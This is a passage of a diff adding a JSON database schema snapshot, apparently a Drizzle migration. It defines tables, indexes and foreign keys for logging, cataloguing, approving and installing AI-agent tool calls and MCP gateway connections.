+      },
+      "foreignKeys": {
+        "tool_action_requests_company_id_companies_id_fk": {
+          "name": "tool_action_requests_company_id_companies_id_fk",
+          "tableFrom": "tool_action_requests",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_action_requests_invocation_id_tool_invocations_id_fk": {
+          "name": "tool_action_requests_invocation_id_tool_invocations_id_fk",
+          "tableFrom": "tool_action_requests",
+          "tableTo": "tool_invocations",
+          "columnsFrom": [
+            "invocation_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_action_requests_issue_id_issues_id_fk": {
+          "name": "tool_action_requests_issue_id_issues_id_fk",
+          "tableFrom": "tool_action_requests",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_action_requests_interaction_id_issue_thread_interactions_id_fk": {
+          "name": "tool_action_requests_interaction_id_issue_thread_interactions_id_fk",
+          "tableFrom": "tool_action_requests",
+          "tableTo": "issue_thread_interactions",
+          "columnsFrom": [
+            "interaction_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_action_requests_approval_id_approvals_id_fk": {
+          "name": "tool_action_requests_approval_id_approvals_id_fk",
+          "tableFrom": "tool_action_requests",
+          "tableTo": "approvals",
+          "columnsFrom": [
+            "approval_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_action_requests_requested_by_agent_id_agents_id_fk": {
+          "name": "tool_action_requests_requested_by_agent_id_agents_id_fk",
+          "tableFrom": "tool_action_requests",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "requested_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_action_requests_resolved_by_agent_id_agents_id_fk": {
+          "name": "tool_action_requests_resolved_by_agent_id_agents_id_fk",
+          "tableFrom": "tool_action_requests",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "resolved_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_action_requests_decided_by_agent_id_agents_id_fk": {
+          "name": "tool_action_requests_decided_by_agent_id_agents_id_fk",
+          "tableFrom": "tool_action_requests",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "decided_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_applications": {
+      "name": "tool_applications",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "application_key": {
+          "name": "application_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "type": {
+          "name": "type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "plugin_id": {
+          "name": "plugin_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "owner_agent_id": {
+          "name": "owner_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "owner_user_id": {
+          "name": "owner_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "archived_at": {
+          "name": "archived_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_applications_company_idx": {
+          "name": "tool_applications_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_applications_company_status_idx": {
+          "name": "tool_applications_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_applications_company_name_uq": {
+          "name": "tool_applications_company_name_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "name",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_applications_company_key_uq": {
+          "name": "tool_applications_company_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "application_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_applications_company_id_companies_id_fk": {
+          "name": "tool_applications_company_id_companies_id_fk",
+          "tableFrom": "tool_applications",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_applications_plugin_id_plugins_id_fk": {
+          "name": "tool_applications_plugin_id_plugins_id_fk",
+          "tableFrom": "tool_applications",
+          "tableTo": "plugins",
+          "columnsFrom": [
+            "plugin_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_applications_owner_agent_id_agents_id_fk": {
+          "name": "tool_applications_owner_agent_id_agents_id_fk",
+          "tableFrom": "tool_applications",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "owner_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_call_events": {
+      "name": "tool_call_events",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "event_type": {
+          "name": "event_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "actor_type": {
+          "name": "actor_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'system'"
+        },
+        "actor_id": {
+          "name": "actor_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "run_id": {
+          "name": "run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "gateway_id": {
+          "name": "gateway_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "gateway_token_id": {
+          "name": "gateway_token_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "gateway_public_id": {
+          "name": "gateway_public_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "client_subject_type": {
+          "name": "client_subject_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "client_subject_id": {
+          "name": "client_subject_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "client_name": {
+          "name": "client_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "mcp_session_id": {
+          "name": "mcp_session_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "correlation_id": {
+          "name": "correlation_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "application_id": {
+          "name": "application_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "connection_id": {
+          "name": "connection_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "catalog_entry_id": {
+          "name": "catalog_entry_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "invocation_id": {
+          "name": "invocation_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "action_request_id": {
+          "name": "action_request_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "runtime_slot_id": {
+          "name": "runtime_slot_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "tool_name": {
+          "name": "tool_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "decision": {
+          "name": "decision",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "matched_policy_ids": {
+          "name": "matched_policy_ids",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "reason_code": {
+          "name": "reason_code",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "policy_explanation": {
+          "name": "policy_explanation",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "credential_scope_summary": {
+          "name": "credential_scope_summary",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "header_policy_summary": {
+          "name": "header_policy_summary",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "outcome": {
+          "name": "outcome",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'pending'"
+        },
+        "latency_ms": {
+          "name": "latency_ms",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "arguments_summary": {
+          "name": "arguments_summary",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "request_hash": {
+          "name": "request_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "request_summary": {
+          "name": "request_summary",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "result_hash": {
+          "name": "result_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "result_summary": {
+          "name": "result_summary",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "result_size_bytes": {
+          "name": "result_size_bytes",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "redaction_plan": {
+          "name": "redaction_plan",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "rate_limit_state": {
+          "name": "rate_limit_state",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "error_code": {
+          "name": "error_code",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "error_message": {
+          "name": "error_message",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_call_events_company_created_idx": {
+          "name": "tool_call_events_company_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_call_events_run_idx": {
+          "name": "tool_call_events_run_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "run_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_call_events_issue_idx": {
+          "name": "tool_call_events_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_call_events_invocation_idx": {
+          "name": "tool_call_events_invocation_idx",
+          "columns": [
+            {
+              "expression": "invocation_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_call_events_gateway_idx": {
+          "name": "tool_call_events_gateway_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "gateway_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_call_events_company_id_companies_id_fk": {
+          "name": "tool_call_events_company_id_companies_id_fk",
+          "tableFrom": "tool_call_events",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_call_events_agent_id_agents_id_fk": {
+          "name": "tool_call_events_agent_id_agents_id_fk",
+          "tableFrom": "tool_call_events",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_call_events_run_id_heartbeat_runs_id_fk": {
+          "name": "tool_call_events_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "tool_call_events",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_call_events_issue_id_issues_id_fk": {
+          "name": "tool_call_events_issue_id_issues_id_fk",
+          "tableFrom": "tool_call_events",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_call_events_gateway_id_tool_mcp_gateways_id_fk": {
+          "name": "tool_call_events_gateway_id_tool_mcp_gateways_id_fk",
+          "tableFrom": "tool_call_events",
+          "tableTo": "tool_mcp_gateways",
+          "columnsFrom": [
+            "gateway_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_call_events_gateway_token_id_tool_mcp_gateway_tokens_id_fk": {
+          "name": "tool_call_events_gateway_token_id_tool_mcp_gateway_tokens_id_fk",
+          "tableFrom": "tool_call_events",
+          "tableTo": "tool_mcp_gateway_tokens",
+          "columnsFrom": [
+            "gateway_token_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_call_events_application_id_tool_applications_id_fk": {
+          "name": "tool_call_events_application_id_tool_applications_id_fk",
+          "tableFrom": "tool_call_events",
+          "tableTo": "tool_applications",
+          "columnsFrom": [
+            "application_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_call_events_connection_id_tool_connections_id_fk": {
+          "name": "tool_call_events_connection_id_tool_connections_id_fk",
+          "tableFrom": "tool_call_events",
+          "tableTo": "tool_connections",
+          "columnsFrom": [
+            "connection_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_call_events_catalog_entry_id_tool_catalog_entries_id_fk": {
+          "name": "tool_call_events_catalog_entry_id_tool_catalog_entries_id_fk",
+          "tableFrom": "tool_call_events",
+          "tableTo": "tool_catalog_entries",
+          "columnsFrom": [
+            "catalog_entry_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_call_events_invocation_id_tool_invocations_id_fk": {
+          "name": "tool_call_events_invocation_id_tool_invocations_id_fk",
+          "tableFrom": "tool_call_events",
+          "tableTo": "tool_invocations",
+          "columnsFrom": [
+            "invocation_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_call_events_action_request_id_tool_action_requests_id_fk": {
+          "name": "tool_call_events_action_request_id_tool_action_requests_id_fk",
+          "tableFrom": "tool_call_events",
+          "tableTo": "tool_action_requests",
+          "columnsFrom": [
+            "action_request_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_call_events_runtime_slot_id_tool_runtime_slots_id_fk": {
+          "name": "tool_call_events_runtime_slot_id_tool_runtime_slots_id_fk",
+          "tableFrom": "tool_call_events",
+          "tableTo": "tool_runtime_slots",
+          "columnsFrom": [
+            "runtime_slot_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_catalog_entries": {
+      "name": "tool_catalog_entries",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "application_id": {
+          "name": "application_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "connection_id": {
+          "name": "connection_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "entry_kind": {
+          "name": "entry_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'tool'"
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "tool_name": {
+          "name": "tool_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "input_schema": {
+          "name": "input_schema",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "output_schema": {
+          "name": "output_schema",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "annotations": {
+          "name": "annotations",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "risk_level": {
+          "name": "risk_level",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'read'"
+        },
+        "is_read_only": {
+          "name": "is_read_only",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": true
+        },
+        "is_write": {
+          "name": "is_write",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "is_destructive": {
+          "name": "is_destructive",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "version": {
+          "name": "version",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "version_hash": {
+          "name": "version_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "schema_hash": {
+          "name": "schema_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "first_seen_at": {
+          "name": "first_seen_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "last_seen_at": {
+          "name": "last_seen_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "reviewed_at": {
+          "name": "reviewed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "reviewed_by_agent_id": {
+          "name": "reviewed_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "reviewed_by_user_id": {
+          "name": "reviewed_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "quarantined_at": {
+          "name": "quarantined_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "quarantine_reason": {
+          "name": "quarantine_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_catalog_entries_company_idx": {
+          "name": "tool_catalog_entries_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_catalog_entries_application_idx": {
+          "name": "tool_catalog_entries_application_idx",
+          "columns": [
+            {
+              "expression": "application_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_catalog_entries_connection_idx": {
+          "name": "tool_catalog_entries_connection_idx",
+          "columns": [
+            {
+              "expression": "connection_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_catalog_entries_company_status_idx": {
+          "name": "tool_catalog_entries_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_catalog_entries_connection_name_uq": {
+          "name": "tool_catalog_entries_connection_name_uq",
+          "columns": [
+            {
+              "expression": "connection_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "name",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_catalog_entries_company_id_companies_id_fk": {
+          "name": "tool_catalog_entries_company_id_companies_id_fk",
+          "tableFrom": "tool_catalog_entries",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_catalog_entries_application_id_tool_applications_id_fk": {
+          "name": "tool_catalog_entries_application_id_tool_applications_id_fk",
+          "tableFrom": "tool_catalog_entries",
+          "tableTo": "tool_applications",
+          "columnsFrom": [
+            "application_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_catalog_entries_connection_id_tool_connections_id_fk": {
+          "name": "tool_catalog_entries_connection_id_tool_connections_id_fk",
+          "tableFrom": "tool_catalog_entries",
+          "tableTo": "tool_connections",
+          "columnsFrom": [
+            "connection_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_catalog_entries_reviewed_by_agent_id_agents_id_fk": {
+          "name": "tool_catalog_entries_reviewed_by_agent_id_agents_id_fk",
+          "tableFrom": "tool_catalog_entries",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "reviewed_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_connection_installs": {
+      "name": "tool_connection_installs",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "connection_id": {
+          "name": "connection_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "target_type": {
+          "name": "target_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "target_id": {
+          "name": "target_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_connection_installs_company_target_idx": {
+          "name": "tool_connection_installs_company_target_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_connection_installs_connection_idx": {
+          "name": "tool_connection_installs_connection_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "connection_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_connection_installs_target_uq": {
+          "name": "tool_connection_installs_target_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "connection_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_connection_installs_company_id_companies_id_fk": {
+          "name": "tool_connection_installs_company_id_companies_id_fk",
+          "tableFrom": "tool_connection_installs",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_connection_installs_connection_id_tool_connections_id_fk": {
+          "name": "tool_connection_installs_connection_id_tool_connections_id_fk",
+          "tableFrom": "tool_connection_installs",
+          "tableTo": "tool_connections",
+          "columnsFrom": [
+            "connection_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_connection_installs_created_by_agent_id_agents_id_fk": {
+          "name": "tool_connection_installs_created_by_agent_id_agents_id_fk",
+          "tableFrom": "tool_connection_installs",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
